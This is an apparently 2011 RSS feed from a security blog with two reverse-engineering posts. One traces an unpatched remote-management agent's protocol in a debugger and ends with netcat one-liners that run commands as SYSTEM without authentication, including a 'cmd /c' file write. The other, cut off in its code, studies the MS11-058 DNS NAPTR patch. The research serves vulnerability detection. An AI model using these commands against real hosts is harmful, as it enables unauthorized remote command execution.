<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SkullSecurity</title>
	<atom:link href="http://www.skullsecurity.org/blog/feed" rel="self" type="application/rss+xml" />
	<link>http://www.skullsecurity.org/blog</link>
	<description>Just another security weblog</description>
	<lastBuildDate>Mon, 19 Dec 2011 17:49:45 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Remote control manager FAIL</title>
		<link>http://www.skullsecurity.org/blog/2011/remote-control-manager-fail</link>
		<comments>http://www.skullsecurity.org/blog/2011/remote-control-manager-fail#comments</comments>
		<pubDate>Mon, 19 Dec 2011 15:40:59 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Reverse Engineering]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=1197</guid>
		<description><![CDATA[Hey guys, Today, I thought it'd be fun to take a good look at a serious flaw in some computer-management software. Basically, the software is designed for remotely controlling systems on networks (for installing updates or whatever). As far as I know, this vulnerability is currently unpatched; there are allegedly mitigations, but you have to [...]]]></description>
			<content:encoded><![CDATA[<p>Hey guys,</p>
<p>Today, I thought it'd be fun to take a good look at a serious flaw in some computer-management software. Basically, the software is designed for remotely controlling systems on networks (for installing updates or whatever). As far as I know, this vulnerability is currently unpatched; there are allegedly mitigations, but you have to pay to see them! (A note to vendors - making us pay for your patches or mitigation notes only makes your customers less secure. Please stop doing that!)</p>
<p>This research was done in the course of my work at Tenable Network Security on the Reverse Engineering team. It's an awesome team to work on, and we're always hiring (for this team and others)! If you're interested and you have mad reverse engineering skillz, or any kind of infosec skillz, get in touch with me privately! (rbowes-at-tenable-dot-com if you're interested in applying)</p>
<h2>The advisory</h2>
<p>I'm not going to talk too much about the advisory, but I'll just say this: it was on ZDI, and basically said that the vulnerability was related to improper validation of credentials allowing the execution of arbitrary shell commands. Pretty vague, but certainly an interesting challenge!</p>
<h2>Getting started</h2>
<p>One of the obvious places to start is to load up the .exe file into IDA (disassembler) and look at the networking functions. Another - easier - option is load up a debugger (WinDbg) and throw a breakpoint on winsock32!recv or ws2_32!recv, then send data to the program to see where it breaks. That's normally the first thing I try if the protocol is unknown (and sometimes even if it's a known protocol). </p>
<p>By putting a breakpoint on recv, sending it data with netcat, and using the 'gu' command to step out of the receive function, I wound up looking at this code in IDA:<br />
<img src='http://www.skullsecurity.org/blogdata/01-remoteexec-recvloop.png'></p>
<p>Basically, it calls recv with a length of '1' and stores the results in a local buffer. Then it jumps to this bit of code:<br />
<img src='http://www.skullsecurity.org/blogdata/02-remoteexec-recvend.png'></p>
<p>Essentially, it's checking if the value byte it just received is '0' (the null byte, "\0"). If it is, it falls through, does some logging, then returns (not shown). </p>
<p>I decided to call this function "read_from_socket". </p>
<p>Based on this little bit of code, I determined some information about the protocol - it receives a series of bytes, up to some maximum length, that are terminated by a null byte ("\0"). </p>
<h2>Diving into the protocol</h2>
<p>The next thing we want to know is how or where the received data is used. We can trace through the assembly, or we can do it the easy way and use a debugger. So, naturally, I decided to take the easy way out and continued using the debugger. I opted to put a breakpoint at 40507c using Windbg, which is just below the recv code shown above:</p>
<pre>0:002&gt; bp 40507c</pre>
<p>Then I resume the process in Windbg with the 'g' command (or I can press F5):</p>
<pre>0:002&gt; g</pre>
<p>Then I use netcat to send 'test\0' (that is, test with a null byte at the end) to the process (note that this isn't the real port):</p>
<pre><font color='#00FF00'>ron@armitage</font> <font color='#8080FF'>~ $</font> echo -ne "test\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open
 sent 5, rcvd 0
<font color='#00FF00'>ron@armitage</font> <font color='#8080FF'>~ $</font>
</pre>
<p>And, of course, back in the debugger, it hits our breakpoint. After that, we inspect ecx (which should be the buffer):</p>
<pre>0:002> bp 40507c
0:002> g
Breakpoint 0 hit
eax=00000005 ebx=001576a8 ecx=00a2ec64 edx=00a2edbc esi=001576a8 edi=00000000
eip=0040507c esp=00a2eb08 ebp=00a2eb24 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
XXXXXXXX+0x507c:
0040507c 51              push    ecx
0:001> db ecx
00a2ec64  74 65 73 74 00 00 00 00-00 ff a2 00 10 00 00 00  test............
[...]
</pre>
<p>ecx, as we would expect, points to the buffer we just received ("test\0", followed by whatever). Now, we want to know where that data is used. To do that, we use a break-on-access breakpoint - ba - which will break the program's execution when the data is read, then 'g', for 'go', to continue execution:</p>
<pre>0:001> ba r4 00a2ec64
0:001> g
</pre>
<p>Immediately afterwards, as expected, the breakpoint is hit when the process tries to read the "test\0" string:</p>
<pre>Breakpoint 1 hit
eax=00000005 ebx=001576a8 ecx=00000000 edx=00000074 esi=001576a8 edi=00000000
eip=00404074 esp=00a2eb38 ebp=00a2ec8c iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
XXXXXXXX+0x4074:
00404074 85d2            test    edx,edx</pre>
<p>It breaks at 404074! That means that line is where the buffer is read from memory (actually, it's read the line before - the break happens after the read, not before it)</p>
<p>Going back to IDA, here's what the code looks like:<br />
<img src='http://www.skullsecurity.org/blogdata/08-remoteexec-digits.png'></p>
<p>I circled the points where the buffer is read in red. First, it reads each character from a local variable that I named 'buffer' - [ebp+ecx+buffer] - into edx as a signed value (when you see a buffer being read with 'movsx' - move sign extend - that often leads to sign-extension vulnerabilities, though not in this case). It checks if it's null - which would mean it's at the end of the string - and exits the loop if it is.</p>
<p>A few lines later, the second time the buffer is read, it's read into ecx. Each character is passed into _isdigit() and, if it's not a digit, it exits the loop with an error message, "Illegal Port number". Hmm! So, now we know that the first part of the protocol is apparently a port number terminated by a null byte. Awesome! But weird? Why are we telling it a port number?</p>
<h2>Connect back</h2>
<p>If we scroll down in IDA a little bit, and find where the function ends after successfully reading a port number, here's the code we find:<br />
<img src='http://www.skullsecurity.org/blogdata/09-remoteexec-connectback.png'></p>
<p>There's some logging here - I love logging! - that says the value we just received is called the 'return socket'. Then a function is called that basically connects back to the client on the port number just received. I'm not going to go any deeper because the code isn't interesting or useful to us. I never did figure out what this second connection is used for, but the program doesn't seem to care if it fails.</p>
<p>So that's the first client-to-server message figured out! To summarize a bit:</p>
<ul>
<li>Client connects to server</li>
<li>Client sends server a null-terminated port number</li>
<li>Server connects back to client on that port</li>
<li>The new connection isn't used for anything, as far as I can tell</li>
</ul>
<h2>Moving right along...</h2>
<p>Now that we've got the first message all sorted out, we're interested in what the second message is. Rather than trying to navigate the tangled code (which leads through a select() and a few other functions), we're going to generate another packet with netcat and see where it's read, just like last time. </p>
<p>First, we clear our breakpoints and put a new one on 40507c again (the same place as our last breakpoint - right after a packet is read):</p>
<pre>0:001> bc *
0:001> bp 0040507c
0:001> g</pre>
<p>Then we connect with netcat, this time with a proper connect-back port ("12345\0") and a second string ("test\0"):</p>
<pre><font color='#00FF00'>ron@armitage</font> <font color='#8080FF'>~ $</font> echo -ne "12345\0test\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open
</pre>
<p>The breakpoint we set earlier will fire on the first line again:</p>
<pre>Breakpoint 0 hit
eax=00000006 ebx=001576a8 ecx=00a2ec64 edx=00a2edbc esi=001576a8 edi=00000000
eip=0040507c esp=00a2eb08 ebp=00a2eb24 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
xxxxxxxx+0x507c:
0040507c 51              push    ecx
0:001> db ecx
00a2ec64  31 32 33 34 35 00 00 00-00 ff a2 00 10 00 00 00  12345...........</pre>
<p>But we aren't interested in that, and run 'g' to continue:</p>
<pre>0:001> g
Breakpoint 0 hit
eax=00000005 ebx=001576a8 ecx=00a2ec64 edx=00a2edbc esi=001576a8 edi=00000000
eip=0040507c esp=00a2e7e0 ebp=00a2e7fc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
xxxxxxxx+0x507c:
0040507c 51              push    ecx
0:001> db ecx
00a2ec64  74 65 73 74 00 00 00 00-00 00 00 00 00 00 00 00  test............</pre>
<p>Now we've found the string we're interested in!</p>
<p>Once again, we put a breakpoint-on-read on ecx and resume execution. The process will break again when the "test\0" string is read:</p>
<pre>0:001> g
Breakpoint 1 hit
eax=74736574 ebx=001576a8 ecx=00a2ec64 edx=00000000 esi=001576a8 edi=00000000
eip=00422162 esp=00a2e808 ebp=00a2ec8c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
xxxxxxxx+0x22162:
00422162 bafffefe7e      mov     edx,7EFEFEFFh</pre>
<p>That is, at 422162. A pro-tip - if you notice the constant 0x7EFEFEFF, or something similar, you're probably in a string manipulation function. And this is no exception - according to IDA, this is strlen(). To get out, we use 'gu':</p>
<pre>0:001> gu
Breakpoint 1 hit
eax=74736574 ebx=001576a8 ecx=00000001 edx=00000000 esi=00a2ec64 edi=00a3b0b8
eip=00422424 esp=00a2e708 ebp=00a2e710 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
xxxxxxxx+0x22424:
00422424 89448ffc        mov     dword ptr [edi+ecx*4-4],eax ds:0023:00a3b0b8=00000000
</pre>
<p>Now we're in memcpy! At this point, I started using 'gu' over and over till I finally found something interesting:</p>
<pre>0:001> gu
eax=00a3b0b8 ebx=001576a8 ecx=00000001 edx=00000000 esi=00a35078 edi=00000000
eip=0041beb6 esp=00a2e718 ebp=00a2e734 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
xxxxxxxx+0x1beb6:
0041beb6 83c40c          add     esp,0Ch
0:001> gu
eax=00440000 ebx=001576a8 ecx=004448e4 edx=00000032 esi=00a35078 edi=00000000
eip=0041c056 esp=00a2e73c ebp=00a2e74c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
xxxxxxxx+0x1c056:
0041c056 83c40c          add     esp,0Ch
0:001> gu
eax=00440000 ebx=001576a8 ecx=004448e4 edx=00000032 esi=00a35078 edi=00000000
eip=00419d00 esp=00a2e754 ebp=00a2e798 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
xxxxxxxx+0x19d00:
00419d00 83c40c          add     esp,0Ch
0:001> gu
eax=00a30000 ebx=001576a8 ecx=00000000 edx=00a2e734 esi=00a35078 edi=00000000
eip=00416fe5 esp=00a2e7a0 ebp=00a2e7d4 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
xxxxxxxx+0x16fe5:
00416fe5 83c40c          add     esp,0Ch
0:001> gu
eax=00000000 ebx=001576a8 ecx=00436f88 edx=00040000 esi=001576a8 edi=00000000
eip=004187f5 esp=00a2e7dc ebp=00a2e7ec iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
xxxxxxxx+0x187f5:
004187f5 83c40c          add     esp,0Ch
0:001> gu
eax=00000000 ebx=001576a8 ecx=00436f88 edx=00040000 esi=001576a8 edi=00000000
eip=0041f5ca esp=00a2e7f4 ebp=00a2e800 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
xxxxxxxx+0x1f5ca:
0041f5ca 83c40c          add     esp,0Ch
0:001> gu
eax=00000000 ebx=001576a8 ecx=00436f88 edx=00040000 esi=001576a8 edi=00000000
eip=00404465 esp=00a2e808 ebp=00a2ec8c iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
xxxxxxxx+0x4465:
00404465 83c408          add     esp,8</pre>
<p>Finally, at 404465, I see this code:<br />
<img src='http://skullsecurity.org/blogdata/14-remoteexec-steppedout.png'></p>
<p>"Getting password"! It looks like I ran into some authentication code! If I scroll down further, I find this code:</p>
<p><img src='http://skullsecurity.org/blogdata/17-remoteexec-receive-cmd.png'></p>
<p>"Getting command", followed by a call to read_from_socket(), which is the function that basically does recv(). Sweet! </p>
<p>It would take too many screenshots to show it all here, but to summarize the function I'm looking at, it basically takes the following actions:</p>
<ul>
<li>Logs "Getting username"</li>
<li>Reads a string up to a null byte (\0)</li>
<li>(we broke into the function right here while it was processing that string)</li>
<li>Logs "Getting password"</li>
<li>Reads a string up to a null byte (\0)</li>
<li>Logs "Getting command"</li>
<li>Reads a string up to a null byte (\0)</li>
</ul>
<p>There are many ways to proceed from here, but I figured I'd put a breakpoint on the read following the "Getting command" line, and then to send a string with all the requisite fields (a connect-back port, a username, a password, and a command). Knowing from the advisory that the vulnerability was in the authentication, I decided to try sending in garbage values. I didn't try looking at the code where the username/password are verified - I figured I'd just skip that code (it's pretty long). </p>
<pre>0:001> bc *
0:001> bp 40465d
0:001> g</pre>
<p>Then run the app and use netcat to send a test command:</p>
<pre><font color='#00FF00'>ron@armitage</font> <font color='#8080FF'>~ $</font> echo -ne "12345\0myuser\0mypass\0mycommand\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open
</pre>
<p>And, it breaks! </p>
<pre>0:001> bc *
0:001> bp 40465d
0:001> g
Breakpoint 0 hit
eax=00a2edbc ebx=001576a8 ecx=00a2e83c edx=00000032 esi=001576a8 edi=00000000
eip=0040465d esp=00a2e804 ebp=00a2ec8c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
xxxxxxxx+0x465d:
0040465d e84e090000      call    xxxxxxxx+0x4fb0 (00404fb0)</pre>
<p>Sweet! </p>
<p>I took a few dead-end paths here, but eventually I decided that, knowing that 'mycommand' is the command it's planning to run, I'd put a breakpoint on CreateProcessA, send the 'mycommand' string again, and see what happens:</p>
<pre>0:001> bc *
0:001> bp kernel32!CreateProcessA
0:001> bp kernel32!CreateProcessW
0:001> g
</pre>
<p>Then the netcat command again:</p>
<pre><font color='#00FF00'>ron@armitage</font> <font color='#8080FF'>~ $</font> echo -ne "12345\0myuser\0mypass\0mycommand\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open
</pre>
<p>Then, the breakpoint fires:</p>
<pre>Breakpoint 0 hit
eax=00000000 ebx=001576a8 ecx=00a2db48 edx=00a29cc0 esi=00000029 edi=00000000
eip=77e424b9 esp=00a29788 ebp=00a2df60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
kernel32!CreateProcessA:
77e424b9 8bff            mov     edi,edi</pre>
<p>Sure enough, it breaks! I immediately run 'gu' ('go up') to exit the CreateProcessA function:</p>
<pre>0:001> gu
eax=00000000 ebx=001576a8 ecx=77e722e9 edx=00000000 esi=00000029 edi=00000000
eip=0040b964 esp=00a297b4 ebp=00a2df60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
xxxxxxxx+0xb964:
0040b964 898558bdffff    mov     dword ptr [ebp-42A8h],eax ss:0023:00a29cb8=7ffdd000</pre>
<p>And find myself at 40b964. Loading up that address in IDA, here's what it looks like (the call is circled in red):<br />
<img src='http://skullsecurity.org/blogdata/27-remoteexec-createprocess-ida.png'></p>
<p>I'd like to verify the command that's being sent to CreateProcessA, to see if it's something I can manipulate easily. So I put a breakpoint at 40b95e:</p>
<pre>0:001> bc *
0:001> bp 40b95e
0:001> g</pre>
<p>And send the usual command:</p>
<pre><font color='#00FF00'>ron@armitage</font> <font color='#8080FF'>~ $</font> echo -ne "12345\0myuser\0mypass\0mycommand\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open</pre>
<p>When it breaks, I dump the memory at ecx - the register that stores the command:</p>
<pre>Breakpoint 0 hit
eax=00000000 ebx=001576a8 ecx=00a2db48 edx=00a29cc0 esi=00000029 edi=00000000
eip=0040b95e esp=00a2978c ebp=00a2df60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
xxxxxxxx+0xb95e:
0040b95e ff15cc004300    call    dword ptr [xxxxxxxx+0x300cc (004300cc)] ds:0023:004300cc={kernel32!CreateProcessA (77e424b9)}
0:001> db ecx
00a2db48  43 3a 5c 50 52 4f 47 52-41 7e 31 5c xx xx xx xx  C:\PROGRA~1\XXXX
00a2db58  xx xx 7e 31 5c xx xx xx-xx 5c 41 67 65 6e 74 5c  XX~1\XXXX\Agent\
00a2db68  6d 79 63 6f 6d 6d 61 6e-64 20 00 00 00 00 00 00  mycommand ......</pre>
<p>Aha! It's prepending the path to the program's folder to our command and passing it to CreateProcessA! The natural thing to do is to use '../' to escape this folder and run something else, but that doesn't work. I never actually figured out why - and it seemed to kinda work - but it was doing some sort of filtering that would give me bad results. Eventually, I had an idea - which programs are stored in that folder anyways?<br />
<img src='http://skullsecurity.org/blogdata/31-remoteexec-programs.png'></p>
<p>execute.exe? hide.exe? runasuser.exe? Could it BE that simple?</p>
<p>I fire up netcat again:</p>
<pre><font color='#00FF00'>ron@armitage</font> <font color='#8080FF'>~ $</font> echo -ne "12345\0myuser\0mypass\0runasuser calc\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open
 sent 35, rcvd 1
</pre>
<p>And check the process list:<br />
<img src='http://skullsecurity.org/blogdata/33-remoteexec-calc-running.png'></p>
<p>And ho-ly crap! We have command execution! Unauthenticated! As SYSTEM!! Game over, I win! </p>
<h2>Writing the check</h2>
<p>But wait, there's no output on netcat. No indication at all that this worked, in fact. Crap! Wut do?</p>
<p>It occurred to me that this particular application also has a Web server built in. Can I write to files using this command execution? I try:</p>
<pre><font color='#00FF00'>ron@armitage</font> <font color='#8080FF'>~ $</font> echo -ne "12345\0myuser\0mypass\0runasuser cmd /c \"ipconfig > c:\\myfile\"\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open
 sent 60, rcvd 1
</pre>
<p>And check the file:<br />
<img src='http://skullsecurity.org/blogdata/36-remoteexec-success.png'></p>
<p>Yup, works like a charm! (Don't mind the bad ip address - I took some of these screenshots at different times than others)</p>
<p>I change the code a little bit to point to the Web root and give it a go, and sure enough it works. With that, I can now write a proper check for Nessus. And with that, I'm done. </p>
<h2>Summary</h2>
<p>So, the TL;DR version of this is:</p>
<ul>
<li>Connect to the host</li>
<li>Send it a port number, following by a null byte ("\0") - the host will try to connect back on that port</li>
<li>Send a username and a password, each terminated by a null byte - these will be ignored</li>
<li>Send a command using the "runasuser.exe" program - included</li>
<li>Profit!</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2011/remote-control-manager-fail/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>A deeper look at ms11-058</title>
		<link>http://www.skullsecurity.org/blog/2011/a-deeper-look-at-ms11-058</link>
		<comments>http://www.skullsecurity.org/blog/2011/a-deeper-look-at-ms11-058#comments</comments>
		<pubDate>Tue, 23 Aug 2011 14:10:46 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[DNS]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Reverse Engineering]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=1158</guid>
		<description><![CDATA[Hey everybody, Two weeks ago today, Microsoft released a bunch of bulletins for Patch Tuesday. One of them - ms11-058 - was rated critical and potentially exploitable. However, according to Microsoft, this is a simple integer overflow, leading to a huge memcpy leading to a DoS and nothing more. I disagree. Although I didn't find [...]]]></description>
			<content:encoded><![CDATA[<p>Hey everybody,</p>
<p>Two weeks ago today, Microsoft released a bunch of bulletins for Patch Tuesday. One of them - <a href='https://www.microsoft.com/technet/security/bulletin/ms11-058.mspx'>ms11-058</a> - was rated critical and potentially exploitable. However, according to <a href='https://blogs.technet.com/b/srd/archive/2011/08/09/vulnerabilities-in-dns-server-could-allow-remote-code-execution.aspx'>Microsoft</a>, this is a simple integer overflow, leading to a huge memcpy leading to a DoS and nothing more. I disagree. </p>
<p>Although I didn't find a way to exploit this vulnerability, there's more to this vulnerability than meets the eye - it's fairly complicated, and there are a number of places that I suspect an experienced exploit developer might find a way to take control. </p>
<p>In this post, I'm going to go over step by step how I reverse engineered this patch, figured out how this could be attacked, and why I don't believe the vulnerability is as simple as the reports seem to indicate. </p>
<p>Oh, and before I forget, the Nessus Security Scanner from Tenable Network Security (my employer) has both remote and local checks for this vulnerability, so if you want to check your network go run Nessus now! </p>
<h2>The patch</h2>
<p>The patch for ms11-058 actually covers two vulnerabilities:</p>
<ol>
<li>An uninitialized-memory denial-of-service vulnerability that affects Windows Server 2003 and Windows Server 2008</li>
<li>A heap overflow in NAPTR records that affects Windows Server 2008 only</li>
</ol>
<p>We're only interested in the second vulnerability. I haven't researched the first at all. </p>
<p>Thankfully, the <a href='https://blogs.technet.com/b/srd/archive/2011/08/09/vulnerabilities-in-dns-server-could-allow-remote-code-execution.aspx'>Microsoft writeup</a> went into decent detail on how to exploit this issue. The vulnerability is actually triggered when a host parses a <em>response</em> NAPTR packet, which means that a vulnerable host has to make a request against a malicious server. Fortunately, due to the nature of the DNS protocol, that isn't difficult. For more details, check out that Microsoft article or read up on DNS. But, suffice it to say, we can easily make a server into processing our records! </p>
<h2>NAPTR records</h2>
<p>Before I get going, let's stop for a minute and look at NAPTR records. </p>
<p>NAPTR (or Naming Authority Pointer) records are designed for some sorta service discovery. They're defined in RFC2915, which is fairly short for a RFC. But I don't recommend reading it - I did, and it's pretty boring.  In spite of my reading, I still don't understand exactly what NAPTR records really do. They seem to be used frequently for SIP and related protocols, though.</p>
<p>What matters is, the format of a NAPTR resource record is:</p>
<ul>
<li>(domain-name) question</li>
<li>(int16) record type</li>
<li>(int16) record class</li>
<li>(int32) time to live</li>
<li>(int16) length of NAPTR record (the rest of this structure)</li>
<li>(int16) order</li>
<li>(int16) preference</li>
<li>(character-string) flags</li>
<li>(character-string) service</li>
<li>(character-string) regex</li>
<li>(domain-name) replacement</li>
</ul>
<p>(A resource record, for those of you who aren't familiar with DNS, is part of a DNS packet. A dns "answer" packet contains one or more resource records, and each resource record has a type - A, AAAA, CNAME, MX, NAPTR, etc. Read up on DNS for more information.)</p>
<p>The first four fields in the NAPTR record are common to all resource records in DNS. Starting at the length, the rest are specific to NAPTR and the last four are the interesting ones. The (character-string) and (domain-name) types are defined in RFC1035, which I don't recommend reading either. The important part is:</p>
<ul>
<li>A (character string) is a one-byte length followed by up to 255 characters - essentially, a length-prefixed string</li>
<li>A (domain name) is a series of character strings, terminated by an empty character string (simply a length of \x00 and no data - effectively a null terminator)</li>
</ul>
<p>Remember those definitions - they're going to be important. </p>
<h2>You will need...</h2>
<p>All right, if you plan to follow along, you're going to definitely need the vulnerable version of dns.exe. Grab c:\windows\system32\dns.exe off an unpatched Windows Server 2008 x86 (32-bit) host. If you want to take a look at the patched version, grab the executable from a patched host. I usually name them something obvious:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-00-files.png'></p>
<p>Right-click on the files and select 'properties' and pick the 'details' tab to ensure you're working from the same version as me:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-01-versions.png'></p>
<p>You will also need IDA, Patchdiff2, and Windbg. And a Windows Server 2008 32-bit box with DNS installed and recursion enabled. If you want to get all that going, you're on your own. :)</p>
<p>You'll also need a NAPTR server. You can use my nbtool program for that - see below for instructions. </p>
<h2>Disassemble</h2>
<p>Load up both files in their own instances of IDA, hit 'Ok' or 'Next' until it disassembles them, and press 'space' when the graph view comes up to go back to the list view. Then close and save the patched one. In the vulnerable version, run <a href='http://code.google.com/p/patchdiff2/'>patchdiff2</a>:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-05-patchdiff2.png'></p>
<p>And pick the .idb file belonging to the patched version of dns.exe. After processing, you should get output something like this:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-06-patchdiff2-output.png'></p>
<p>There are two things to note here. First, at the bottom, in the status pane, you get a listing of the functions that are "identical", matched, and unmatched. Identical functions are ones that patchdiff2 has decided are unchanged (even when that's not true, as we'll see shortly); matched functions are ones that patchdiff2 thinks are the same function in both files, but have changed in a significant way; and unmatched functions are ones that patchdiff2 can't find a match for. </p>
<p>You'll see that in ms11-058, it found 1611 identical functions and that's it. Oops?</p>
<p>If you take a look at the top half of the image, it's a listing of the identical functions. I sorted it by the CRC column, which prints a '+' when the CRC of the patched and unpatched versions of a function differ. And look at that - there are four not-so-identical functions! </p>
<p>The obvious function in this bunch to take a closer look at is NaptrWireRead(). Why? Because we know the vulnerability is in NAPTR records, so it's a sensible choice! </p>
<p>At this point, I closed IDA and re-opened the .exe files rather than leaving patchdiff2 running. </p>
<p>So, go ahead now and bring up NaptrWireRead() in both the unpatched and patched versions. You can use shift-F4 to bring up the 'Names' window and find it there. It should look like this:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-07-comparison.png'></p>
<p>Scroll around and see you can see where these functions vary. It's not as easy as you'd think! There's only one line different, and I actually missed it the first time:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-08-difference.png'></p>
<p>Line 0x01038b38 and 0x01038bd8 are different! One uses movsx and one uses movzx. Hmm! What's that mean?</p>
<p>movsx means "move this byte value into this dword value, and extend the sign". movzx means "move this byte value into this dword value, and ignore the sign". Basically, a signed vs unsigned value. For the bytes 0x00 to 0x7F, this doesn't matter. For 0x80 to 0xFF, it matters a lot. That can be demonstrated by the following operation:</p>
<pre>movsx edi, 0x7F
movsx esi, 0x80

movzx edi, 0x7F
movzx esi, 0x80</pre>
<p>In the first part, you'll end up with edi = 0x0000007F, as expected, but esi will be 0xFFFFFF80. In the second part, esi will be 0x0000007F and edi will be 0x00000080. Why? For more information, look up "two's complement" on Wikipedia. But the simple answer is, 0x80 is the signed value of -128 and the unsigned value of 128. 0xFFFFFF80 is also -128 (signed), and 0x00000080 is 128 (unsigned). So if 0x80 is signed, it takes the 32-bit signed value (-128 = 0xFFFFFF80); if 0x80 is unsigned, it takes the 32-bit unsigned value (128 = 0x00000080). Hopefully that makes a little sense! </p>
<h2>Setting up and testing NAPTR</h2>
<p>Moving on, we want to do some testing. I set up a fake NAPTR server and I set up the Windows Server to recurse to my fake NAPTR server. If you want to do that yourself, one way is grab the sourcecode for <a href='http://www.skullsecurity.org/wiki/index.php/Nbtool'>nbtool</a> and apply <a href='/blogdata/dns-naptr.diff'>this patch</a>. You'll have to fiddle in the sourcecode, though, and it may be a little tricky.  </p>
<p>You can also use any DNS server that allows a NAPTR record. We aren't actually sending anything broken, so any DNS server you know how to set up should work just fine. </p>
<p>Basically, I use the following code to build the NAPTR resource record:</p>
<pre>
<span class="Type">char</span> *flags   = <span class="Constant">&quot;flags&quot;</span>;
<span class="Type">char</span> *service  = <span class="Constant">&quot;service&quot;</span>;
<span class="Type">char</span> *regex   = <span class="Constant">&quot;this is a really really long but still technically valid regex&quot;</span>;
<span class="Type">char</span> *replace = <span class="Constant">&quot;this.is.the.replacement.com&quot;</span>;

answer = buffer_create(BO_BIG_ENDIAN);
buffer_add_dns_name(answer, this_question.name); <span class="Comment">/*</span><span class="Comment"> Question. </span><span class="Comment">*/</span>

buffer_add_int16(answer, DNS_TYPE_NAPTR); <span class="Comment">/*</span><span class="Comment"> Type. </span><span class="Comment">*/</span>
buffer_add_int16(answer, this_question.class); <span class="Comment">/*</span><span class="Comment"> Class. </span><span class="Comment">*/</span>
buffer_add_int32(answer, settings-&gt;TTL);
buffer_add_int16(answer, <span class="Constant">2</span> +                   <span class="Comment">/*</span><span class="Comment"> Length. </span><span class="Comment">*/</span>
                         <span class="Constant">2</span> +
                         <span class="Constant">1</span> + strlen(flags) +
                         <span class="Constant">1</span> + strlen(service) +
                         <span class="Constant">1</span> + strlen(regex) +
                         <span class="Constant">2</span> + strlen(replace));

buffer_add_int16(answer, <span class="Constant">0x0064</span>); <span class="Comment">/*</span><span class="Comment"> Order. </span><span class="Comment">*/</span>
buffer_add_int16(answer, <span class="Constant">0x000b</span>); <span class="Comment">/*</span><span class="Comment"> Preference. </span><span class="Comment">*/</span>

buffer_add_int8(answer, strlen(flags)); <span class="Comment">/*</span><span class="Comment"> Flags. </span><span class="Comment">*/</span>
buffer_add_string(answer, flags);

buffer_add_int8(answer, strlen(service)); <span class="Comment">/*</span><span class="Comment"> Service. </span><span class="Comment">*/</span>
buffer_add_string(answer, service);

